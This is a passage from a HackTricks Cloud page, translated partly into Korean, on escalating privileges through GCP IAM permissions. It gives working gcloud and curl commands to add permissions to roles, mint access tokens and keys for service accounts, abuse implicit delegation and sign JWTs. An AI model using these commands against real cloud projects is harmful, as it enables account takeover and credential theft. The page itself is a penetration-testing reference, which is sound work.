Korean - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

GCP - IAM Privesc

Support HackTricks

IAM

IAM에 대한 자세한 정보는 다음에서 확인하세요:

GCP - IAM, Principals & Org Policies Enum

iam.roles.update (iam.roles.get)

언급된 권한을 가진 공격자는 귀하에게 할당된 역할을 업데이트하고 다음과 같은 다른 리소스에 대한 추가 권한을 부여할 수 있습니다:

gcloud iam roles update <rol name> --project <project> --add-permissions <permission>

You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here. For more information check the original research.

iam.serviceAccounts.getAccessToken (iam.serviceAccounts.get)

언급된 권한을 가진 공격자는 서비스 계정에 속하는 액세스 토큰을 요청할 수 있습니다, 따라서 우리의 권한보다 더 많은 권한을 가진 서비스 계정의 액세스 토큰을 요청할 수 있습니다.

gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token

You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here. For more information check the original research.

iam.serviceAccountKeys.create

An attacker with the mentioned permissions will be able to 서비스 계정에 대한 사용자 관리 키를 생성할 수 있으며, 이를 통해 해당 서비스 계정으로 GCP에 접근할 수 있습니다.

gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json

gcloud auth activate-service-account --key-file=sa_cred.json

You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here. For more information check the original research.

Note that iam.serviceAccountKeys.update는 SA의 키를 수정하는 데 작동하지 않습니다. 그렇게 하려면 iam.serviceAccountKeys.create 권한도 필요합니다.

iam.serviceAccounts.implicitDelegation

If you have the iam.serviceAccounts.implicitDelegation permission on a Service Account that has the iam.serviceAccounts.getAccessToken permission on a third Service Account, then you can use implicitDelegation to create a token for that third Service Account. Here is a diagram to help explain.

Note that according to the documentation, the delegation of gcloud only works to generate a token using the generateAccessToken() method. So here you have how to get a token using the API directly:

curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer '"$(gcloud auth print-access-token)" \
-d '{
"delegates": ["projects/-/serviceAccounts/'"${DELEGATED_SERVICE_ACCOUNT}"'"],
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'

You can find a script to automate the 취약한 환경의 생성, 악용 및 정리 여기 and a python script to abuse this privilege 여기. For more information check the 원본 연구.

iam.serviceAccounts.signBlob

An attacker with the mentioned permissions will be able to GCP에서 임의의 페이로드 서명. So it'll be possible to SA의 서명되지 않은 JWT를 생성한 다음, 이를 blob으로 보내어 우리가 목표로 하는 SA에 의해 JWT가 서명되도록 할 수 있습니다. For more information 이것을 읽어보세요.

You can find a script to automate the 취약한 환경의 생성, 악용 및 정리 여기 and a python script to abuse this privilege 여기 and 여기. For more information check the 원본 연구.

iam.serviceAccounts.signJwt

An attacker with the mentioned permissions will be able to 형식이 올바른 JSON 웹 토큰(JWT) 서명. The difference with the previous method is that JWT를 포함하는 blob을 구글에 서명하게 하는 대신, 이미 JWT를 기대하는 signJWT 메서드를 사용합니다. This makes it easier to use but you can only sign JWT instead of any bytes.

You can find a script to automate the 취약한 환경의 생성, 악용 및 정리 여기 and a python script to abuse this privilege 여기. For more information check the 원본 연구.

iam.serviceAccounts.setIamPolicy

An attacker with the mentioned permissions will be able to 서비스 계정에 IAM 정책 추가. You can abuse it to 자신에게 서비스 계정을 가장하는 데 필요한 권한을 부여할 수 있습니다. In the following example we are granting ourselves the roles/iam.serviceAccountTokenCreator role over the interesting SA:

gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountTokenCreator"

# If you still have prblem grant yourself also this permission
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"

You can find a script to automate the creation, exploit and cleaning of a vuln environment here.

iam.serviceAccounts.actAs

The iam.serviceAccounts.actAs permission is like the iam:PassRole permission from AWS. It's essential for executing tasks, like initiating a Compute Engine instance, as it grants the ability to "actAs" a Service Account, ensuring secure permission management. Without this, users might gain undue access. Additionally, exploiting the iam.serviceAccounts.actAs involves various methods, each requiring a set of permissions, contrasting with other methods that need just one.

Service account impersonation

서비스 계정을 가장하는 것은 새롭고 더 나은 권한을 얻기 위해 매우 유용할 수 있습니다. 다른 서비스 계정을 가장하는 세 가지 방법이 있습니다:

  • RSA 개인 키를 사용한 인증 (위에서 다룸)

  • Cloud IAM 정책을 사용한 권한 부여 (여기서 다룸)

  • GCP 서비스에서 작업 배포 (사용자 계정의 손상에 더 적용 가능)

iam.serviceAccounts.getOpenIdToken

언급된 권한을 가진 공격자는 OpenID JWT를 생성할 수 있습니다. 이는 신원을 주장하는 데 사용되며 리소스에 대한 암묵적인 권한 부여를 반드시 포함하지는 않습니다.

이 흥미로운 게시물에 따르면, 청중(토큰을 사용하여 인증하려는 서비스)을 지정해야 하며, 그러면 서비스 계정과 JWT의 청중을 나타내는 Google이 서명한 JWT를 받게 됩니다.

접근 권한이 있는 경우 OpenIDToken을 생성할 수 있습니다:

# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com

그럼 다음과 같이 서비스를 액세스하는 데 사용할 수 있습니다:

curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app

다음과 같은 토큰을 통해 인증을 지원하는 서비스가 있습니다:

서비스 계정을 대신하여 OpenID 토큰을 생성하는 방법에 대한 예시는 여기에서 확인할 수 있습니다.

References

HackTricks 지원하기
PreviousGCP - Deploymentmaneger PrivescNextGCP - KMS Privesc

Last updated